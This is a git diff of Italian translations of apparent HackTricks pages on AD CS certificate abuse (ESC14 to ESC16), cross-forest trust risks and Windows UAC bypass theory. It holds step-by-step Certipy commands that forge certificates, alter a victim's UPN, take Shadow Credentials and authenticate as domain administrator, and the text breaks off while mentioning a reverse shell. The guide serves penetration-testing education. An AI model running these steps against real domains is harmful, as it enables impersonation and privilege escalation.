`altSecurityIdentities`. Se questo attributo è impostato (per progetto o per errata configurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono al mapping. +ESC14 prende di mira le **explicit certificate mappings** in Active Directory (AD), specificamente l'attributo `altSecurityIdentities`. Se questo attributo è impostato (per design o per errata configurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono al mapping. -#### Scenario A: L'attaccante può scrivere in `altSecurityIdentities` +#### Scenario A: Attacker Can Write to `altSecurityIdentities` -**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target oppure il permesso per concederlo sotto forma di uno dei seguenti permessi sull'oggetto AD target: +**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target o il permesso di concederlo nella forma di uno dei seguenti permessi sull'oggetto AD target: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -724,19 +725,23 @@ ESC14 prende di mira le **explicit certificate mappings** in Active Directory (A - `GenericWrite` - `GenericAll` - Owner*. -#### Scenario B: Il target ha una mappatura debole via X509RFC822 (Email) -- **Precondizione**: Il target ha una mappatura X509RFC822 debole in altSecurityIdentities. Un attaccante può impostare l'attributo mail della vittima per farlo corrispondere al nome X509RFC822 del target, richiedere un certificato come la vittima e usarlo per autenticarsi come il target. -#### Scenario C: Il target ha una mappatura X509IssuerSubject +#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email) -- **Precondizione**: Il target ha una mappatura esplicita X509IssuerSubject in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509IssuerSubject del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target. -#### Scenario D: Il target ha una mappatura X509SubjectOnly +- **Precondizione**: Il target ha un mapping X509RFC822 debole in altSecurityIdentities. Un attaccante può impostare l'attributo mail della vittima per farlo corrispondere al nome X509RFC822 del target, richiedere un certificato come la vittima e usarlo per autenticarsi come il target. + +#### Scenario C: Target Has X509IssuerSubject Mapping + +- **Precondizione**: Il target ha un mapping esplicito X509IssuerSubject in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject del mapping X509IssuerSubject del target. Successivamente, l'attaccante può richiedere un certificato come la vittima e usare quel certificato per autenticarsi come il target. + +#### Scenario D: Target Has X509SubjectOnly Mapping + +- **Precondizione**: Il target ha un mapping esplicito X509SubjectOnly in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject del mapping X509SubjectOnly del target. Successivamente, l'attaccante può richiedere un certificato come la vittima e usare quel certificato per autenticarsi come il target. -- **Precondizione**: Il target ha una mappatura esplicita X509SubjectOnly in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509SubjectOnly del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target. ### operazioni concrete #### Scenario A -Richiedere un certificato dal template di certificato `Machine` +Request a certificate of the certificate template `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -752,28 +757,28 @@ Pulizia (opzionale) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Per metodi di attacco più specifici in diversi scenari di attacco, fare riferimento a: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Per metodi d'attacco più specifici in vari scenari di attacco, fare riferimento a quanto segue: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Politiche di Applicazione(CVE-2024-49019) - ESC15 +## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Spiegazione -La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è straordinariamente dettagliata. Di seguito una citazione del testo originale. +La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è notevolmente esaustiva. Di seguito è riportata una citazione del testo originale. Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template ### Abuso -Quanto segue fa riferimento a [questo link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Clicca per vedere metodi di utilizzo più dettagliati. +Quanto segue fa riferimento a [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Il comando `find` di Certipy può aiutare a identificare template V1 potenzialmente suscettibili a ESC15 se la CA non è aggiornata. +Il comando `find` di Certipy può aiutare a identificare template V1 che potrebbero essere suscettibili a ESC15 se la CA non è aggiornata. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Impersonamento diretto via Schannel +#### Scenario A: Direct Impersonation via Schannel -**Passo 1: Richiedere un certificato, iniettando la Application Policy "Client Authentication" e l'UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` usando il template "WebServer" V1 (che permette il subject fornito dal richiedente). +**Passo 1: Richiedere un certificato, inserendo la Application Policy "Client Authentication" e l'UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` usando il template "WebServer" V1 (che permette che il subject del certificato sia fornito dall'iscritto). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -783,8 +788,8 @@ certipy req \ -application-policies 'Client Authentication' ``` - `-template 'WebServer'`: Il template V1 vulnerabile con "Enrollee supplies subject". -- `-application-policies 'Client Authentication'`: Inserisce l'OID `1.3.6.1.5.5.7.3.2` nell'estensione Application Policies del CSR. -- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per l'impersonazione. +- `-application-policies 'Client Authentication'`: Inietta l'OID `1.3.6.1.5.5.7.3.2` nell'estensione Application Policies del CSR. +- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per impersonare. **Passo 2: Autenticarsi tramite Schannel (LDAPS) usando il certificato ottenuto.** ```bash @@ -792,7 +797,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Passo 1: Richiedere un certificato da un V1 template (con "Enrollee supplies subject"), iniettando la Application Policy "Certificate Request Agent".** Questo certificato è per l'attacker (`attacker@corp.local`) per diventare un enrollment agent. Non viene specificato alcun UPN per l'identità dell'attacker qui, poiché l'obiettivo è la capacità di agent. +**Passo 1: Richiedere un certificato da un template V1 (con "Enrollee supplies subject"), iniettando la Application Policy "Certificate Request Agent".** Questo certificato è per l'attaccante (`attacker@corp.local`) per diventare un enrollment agent. Nessun UPN è specificato per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -800,9 +805,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Inietta OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`. -**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passo ESC3-like, usando il certificato del Passo 1 come certificato agent. +**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passaggio simile a ESC3, usando il certificato del Passo 1 come certificato "agent". ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -810,7 +815,7 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Passo 3: Autenticarsi come l'utente privilegiato usando il certificato "on-behalf-of".** +**Passo 3: Autenticarsi come utente privilegiato usando il certificato "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` @@ -818,44 +823,44 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ### Spiegazione -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttare ciò tramite: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttarlo: -1. Richiedere un certificato **senza SID binding**. +1. Richiedendo un certificato **without SID binding**. -2. Usare questo certificato **per l'autenticazione come qualsiasi account**, ad esempio impersonando un account ad alto privilegio (es. un Amministratore di dominio). +2. Usando questo certificato **per l'autenticazione come qualsiasi account**, ad esempio impersonando un account ad alto privilegio (ad es., un Domain Administrator). -Puoi anche consultare questo articolo per saperne di più sul principio dettagliato: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Puoi anche fare riferimento a questo articolo per saperne di più sul principio dettagliato:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Abuso -Quanto segue fa riferimento a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Clicca per vedere metodi d'uso più dettagliati. +Quanto segue fa riferimento a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Clicca per vedere metodi d'uso più dettagliati. Per identificare se l'ambiente Active Directory Certificate Services (AD CS) è vulnerabile a **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Passo 1: Leggi l'UPN iniziale dell'account vittima (Opzionale - per il ripristino). +**Passo 1: Leggi l'UPN iniziale dell'account della vittima (Opzionale - per il ripristino).** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Passo 2: Aggiorna l'UPN dell'account della vittima con l'`sAMAccountName` dell'amministratore target.** +**Passo 2: Aggiorna l'UPN dell'account vittima con il `sAMAccountName` dell'amministratore target.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Passo 3: (Se necessario) Ottenere le credenziali per l'account "victim" (ad es., tramite Shadow Credentials).** +**Passo 3: (Se necessario) Ottenere le credenziali per l'account "victim" (es., via Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Passaggio 4: Richiedi un certificato come utente "victim" da _qualsiasi template di autenticazione client adatto_ (es., "User") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del template per questa estensione. Imposta la variabile d'ambiente per il Kerberos credential cache (comando shell): +**Step 4: Richiedi un certificato come utente "vittima" da _qualsiasi template di autenticazione client adatto_ (p.es., "User") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del template per questa estensione. Imposta la variabile d'ambiente della cache delle credenziali Kerberos (comando shell): ```bash export KRB5CCNAME=victim.ccache ``` @@ -873,26 +878,27 @@ certipy account \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Passo 6: Autenticarsi come l'amministratore di destinazione.** +**Passo 6: Autenticarsi come amministratore target.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Compromising Forests with Certificates Explained in Passive Voice +## Compromissione delle foreste con i certificati spiegata in forma passiva -### Breaking of Forest Trusts by Compromised CAs +### Violazione dei trust tra foreste dovuta a CA compromesse -La configurazione per il **cross-forest enrollment** è resa relativamente semplice. Il **root CA certificate** dalla resource forest viene **pubblicato nelle account forests** dagli amministratori, e i certificati della **enterprise CA** dalla resource forest vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ogni account forest**. Per chiarire, con questa disposizione viene concesso alla **CA nella resource forest il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA venisse **compromessa dagli attacker**, i certificati per tutti gli utenti sia nella resource che nelle account forests potrebbero essere **falsificati da questi**, compromettendo così il perimetro di sicurezza della foresta. +La configurazione per l'**iscrizione tra foreste** è resa relativamente semplice. Il **certificato root CA** della foresta di risorse viene **pubblicato nelle foreste account** dagli amministratori, e i certificati della **enterprise CA** della foresta di risorse vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questa disposizione concede alla **CA nella foresta di risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Qualora questa CA fosse **compromessa dagli attaccanti**, i certificati per tutti gli utenti sia della foresta di risorse sia delle foreste account potrebbero essere **falsificati da essi**, rompendo così il confine di sicurezza della foresta. -### Enrollment Privileges Granted to Foreign Principals +### Privilegi di enrollment concessi a principal esterni -Negli ambienti multi-forest è richiesta cautela riguardo alle Enterprise CAs che **pubblicano certificate templates** che permettono a **Authenticated Users o foreign principals** (utenti/gruppi esterni alla foresta a cui appartiene l’Enterprise CA) i **diritti di enrollment e modifica**. Al momento dell’autenticazione attraverso un trust, l’**Authenticated Users SID** viene aggiunto al token dell’utente da AD. Pertanto, se un dominio possiede un’Enterprise CA con un template che **consente a Authenticated Users i diritti di enrollment**, un template potrebbe potenzialmente essere **enrolled da un utente di una foresta diversa**. Allo stesso modo, se i **diritti di enrollment sono esplicitamente concessi a un foreign principal da un template**, viene così creato un **cross-forest access-control relationship**, permettendo a un principal di una foresta di **enrollarsi in un template di un’altra foresta**. +Negli ambienti multi-foresta, è necessaria cautela riguardo alle Enterprise CAs che **pubblicano template di certificato** che consentono a **Authenticated Users o a foreign principals** (utenti/gruppi esterni alla foresta a cui appartiene l'Enterprise CA) **diritti di enrollment e modifica**.\ +Al momento dell'autenticazione attraverso un trust, l'**Authenticated Users SID** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede un'Enterprise CA con un template che **consente a Authenticated Users i diritti di enrollment**, un template potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di enrollment sono esplicitamente concessi a un foreign principal da un template**, viene così creata una **relazione di controllo accessi cross-forest**, permettendo a un principal di una foresta di **iscriversi a un template di un'altra foresta**. -Entrambi gli scenari portano a un **aumento della attack surface** da una foresta all’altra. Le impostazioni del certificate template potrebbero essere sfruttate da un attacker per ottenere privilegi aggiuntivi in un dominio esterno. +Entrambi gli scenari comportano un **aumento della superficie d'attacco** da una foresta all'altra. Le impostazioni del template di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio esterno. -## References +## Riferimenti - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) - [GhostPack/Certify](https://github.com/GhostPack/Certify) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index d3498d8ab..0f17ca185 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,29 +1,29 @@ -# UAC - User Account Control +# UAC - Controllo account utente {{#include ../../banners/hacktricks-training.md}} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrity`, e un programma con un **livello elevato** può eseguire operazioni che **potrebbero potenzialmente compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i task vengono sempre **eseguiti nel contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente tali applicazioni/task ad avere accesso di livello amministratore per l'esecuzione. È una funzionalità di comodità che protegge gli amministratori da modifiche involontarie ma non è considerata un confine di sicurezza. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrity`, e un programma con un livello **alto** può eseguire operazioni che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i task vengono sempre **eseguiti nel contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente tali applicazioni/task ad avere accesso a livello amministrativo per essere eseguiti. È una funzione di comodità che protegge gli amministratori da modifiche involontarie ma non è considerata un confine di sicurezza. -Per maggiori informazioni sui livelli di integrità: +Per ulteriori informazioni sui livelli di integrity: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Quando UAC è attivo, un utente amministratore riceve 2 token: uno come utente standard, per compiere azioni ordinarie a livello normale, e uno con i privilegi di amministratore. +Quando UAC è attivo, a un utente amministratore vengono assegnati 2 token: un token di utente standard, per svolgere azioni regolari a livello normale, e uno con i privilegi amministrativi. -Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) descrive in dettaglio come funziona UAC e include il processo di logon, l'esperienza utente e l'architettura di UAC. Gli amministratori possono utilizzare criteri di sicurezza per configurare come UAC funzioni specificamente per la loro organizzazione a livello locale (usando secpol.msc), o configurato e distribuito tramite Group Policy Objects (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Group Policy che possono essere configurate per UAC. La tabella seguente fornisce ulteriori dettagli: +Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) spiega in dettaglio come funziona UAC e include il processo di logon, l'esperienza utente e l'architettura di UAC. Gli amministratori possono usare le security policy per configurare come UAC opera in modo specifico per la loro organizzazione a livello locale (usando secpol.msc), o configurarlo e distribuirlo tramite Group Policy Objects (GPO) in un ambiente Active Directory. Le varie impostazioni sono discusse in dettaglio [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Group Policy che possono essere impostate per UAC. La tabella seguente fornisce dettagli aggiuntivi: -| Group Policy Setting | Chiave del registro | Impostazione predefinita | +| Group Policy Setting | Chiave del registro | Impostazione predefinita | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabilitato | | [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabilitato | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Abilitato (predefinito per home) Disabilitato (predefinito per enterprise) | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Richiesta di consenso per binari non-Windows | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Richiesta delle credenziali sul desktop sicuro | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Abilitato (predefinito per Home) Disabilitato (predefinito per Enterprise) | | [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabilitato | | [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Abilitato | | [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Abilitato | @@ -32,21 +32,21 @@ Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protect ### Teoria del bypass UAC -Alcuni programmi sono **autoelevated automatically** se l'**utente appartiene** al **gruppo amministratori**. Questi binari hanno nei loro _**Manifests**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve inoltre essere **signed by Microsoft**. +Alcuni programmi vengono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratori**. Questi binari hanno nei loro _**Manifests**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve inoltre essere **signed by Microsoft**. -Molti processi auto-elevanti espongono **funzionalità via COM objects or RPC servers**, che possono essere invocate da processi in esecuzione con integrità medio (privilegi a livello utente regolare). Nota che COM (Component Object Model) e RPC (Remote Procedure Call) sono metodi che i programmi Windows utilizzano per comunicare ed eseguire funzioni tra processi differenti. Per esempio, **`IFileOperation COM object`** è progettato per gestire operazioni sui file (copia, cancellazione, spostamento) e può elevare automaticamente i privilegi senza un prompt. +Molti processi auto-elevati espongono **funzionalità tramite oggetti COM o server RPC**, che possono essere invocate da processi in esecuzione con integrity di livello medio (privilegi a livello utente normale). Nota che COM (Component Object Model) e RPC (Remote Procedure Call) sono metodi che i programmi Windows usano per comunicare ed eseguire funzioni tra diversi processi. Per esempio, **`IFileOperation COM object`** è progettato per gestire operazioni su file (copia, cancellazione, spostamento) e può elevare automaticamente i privilegi senza mostrare un prompt. -Nota che potrebbero essere effettuati alcuni controlli, come verificare se il processo è stato eseguito dalla **System32 directory**, che può essere bypassato ad esempio **injecting into explorer.exe** o un altro eseguibile situato in System32. +Attenzione: alcune verifiche potrebbero essere effettuate, come controllare se il processo è stato eseguito dalla directory **System32**, che può essere bypassato ad esempio **iniettando in explorer.exe** o in un altro eseguibile situato in System32. -Un altro modo per bypassare questi controlli è **modificare la PEB**. Ogni processo in Windows ha una Process Environment Block (PEB), che include dati importanti sul processo, come il percorso dell'eseguibile. Modificando la PEB, un attaccante può falsificare (spoof) la posizione del proprio processo maligno, facendolo apparire come eseguito da una directory attendibile (come system32). Queste informazioni falsate ingannano il COM object inducendolo ad auto-elevare i privilegi senza chiedere all'utente. +Un altro modo per bypassare questi controlli è **modificare la PEB**. Ogni processo in Windows ha un Process Environment Block (PEB), che include dati importanti sul processo, come il percorso dell'eseguibile. Modificando la PEB, un attaccante può falsificare (spoofare) la posizione del proprio processo malevolo, facendolo apparire come eseguito da una directory fidata (come system32). Queste informazioni falsificate ingannano l'oggetto COM inducendolo ad auto-elevare i privilegi senza chiedere il consenso dell'utente. -Quindi, per **bypassare** la **UAC** (elevare da **livello medio** di integrità **a livello elevato**) alcuni attaccanti usano questo tipo di binari per **eseguire codice arbitrario** poiché verrà eseguito da un processo con **High level integrity**. +Quindi, per **bypassare** la **UAC** (elevare da livello di integrity **medio** a **alto**) alcuni attaccanti usano questo tipo di binari per **eseguire codice arbitrario** poiché verrà eseguito da un processo con integrity di livello **alto**. -Puoi **controllare** il _**Manifest**_ di un binario usando lo strumento _**sigcheck.exe**_ di Sysinternals. (`sigcheck.exe -m `) E puoi **vedere** il **livello di integrità** dei processi usando _Process Explorer_ o _Process Monitor_ (di Sysinternals). +Puoi **controllare** il _**Manifest**_ di un binario usando lo strumento _**sigcheck.exe**_ di Sysinternals. (`sigcheck.exe -m `) E puoi **vedere** il **livello di integrity** dei processi usando _Process Explorer_ o _Process Monitor_ (di Sysinternals). -### Verificare UAC +### Controllare UAC -Per confermare se UAC è abilitato, esegui: +Per confermare se UAC è abilitato esegui: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA @@ -55,19 +55,19 @@ EnableLUA REG_DWORD 0x1 ``` Se è **`1`** allora UAC è **attivato**, se è **`0`** o non esiste, allora UAC è **disattivato**. -Quindi, verifica **quale livello** è configurato: +Poi, controlla **quale livello** è configurato: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- If **`0`** then, UAC won't prompt (like **disabled**) -- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop) -- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop) -- If **`3`** like `1` but not necessary on Secure Desktop -- If **`4`** like `2` but not necessary on Secure Desktop -- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges +- Se **`0`**, UAC non mostrerà prompt (come **disabilitato**) +- Se **`1`** all'amministratore viene **richiesto il nome utente e la password** per eseguire il binario con privilegi elevati (su Secure Desktop) +- Se **`2`** (**Always notify me**) UAC chiederà sempre conferma all'amministratore quando tenta di eseguire qualcosa con privilegi elevati (su Secure Desktop) +- Se **`3`** come `1` ma non necessario su Secure Desktop +- Se **`4`** come `2` ma non necessario su Secure Desktop +- Se **`5`**(**default**) chiederà all'amministratore di confermare l'esecuzione di binari non Windows con privilegi elevati Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\ If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them. @@ -82,7 +82,7 @@ If **`0`**(default), the **built-in Administrator account can** do remote admini - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** -All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` +Tutte queste informazioni possono essere raccolte usando il modulo **metasploit**: `post/windows/gather/win_privs` Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità: ``` @@ -92,15 +92,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Nota che se hai accesso grafico alla vittima, il bypass di UAC è semplice poiché puoi semplicemente cliccare su "Yes" quando appare il prompt UAC +> Nota che se hai accesso grafico alla vittima, UAC bypass è molto semplice: puoi semplicemente cliccare su "Yes" quando appare il prompt UAC -Il bypass di UAC è necessario nella seguente situazione: **UAC è attivato, il tuo processo è in un contesto di medium integrity, e il tuo utente appartiene al gruppo Administrators**. +Il UAC bypass è necessario nella seguente situazione: **l'UAC è attivata, il tuo processo è in esecuzione in un contesto con livello di integrità medium, e il tuo utente appartiene al gruppo Administrators**. -È importante menzionare che è **molto più difficile bypassare UAC se è impostato al livello di sicurezza più alto (Always) rispetto a qualsiasi altro livello (Default).** +È importante sottolineare che è **molto più difficile bypassare l'UAC se è impostata al livello di sicurezza più alto (Always) rispetto agli altri livelli (Default).** -### UAC disabilitato +### UAC disabled -Se UAC è già disabilitato (`ConsentPromptBehaviorAdmin` è **`0`**) puoi **execute a reverse shell with admin privileges** (high integrity level) usando qualcosa come: +Se l'UAC è già disabilitata (`ConsentPromptBehaviorAdmin` è **`0`**) puoi **eseguire una reverse shell con privilegi amministrativi** (livello di 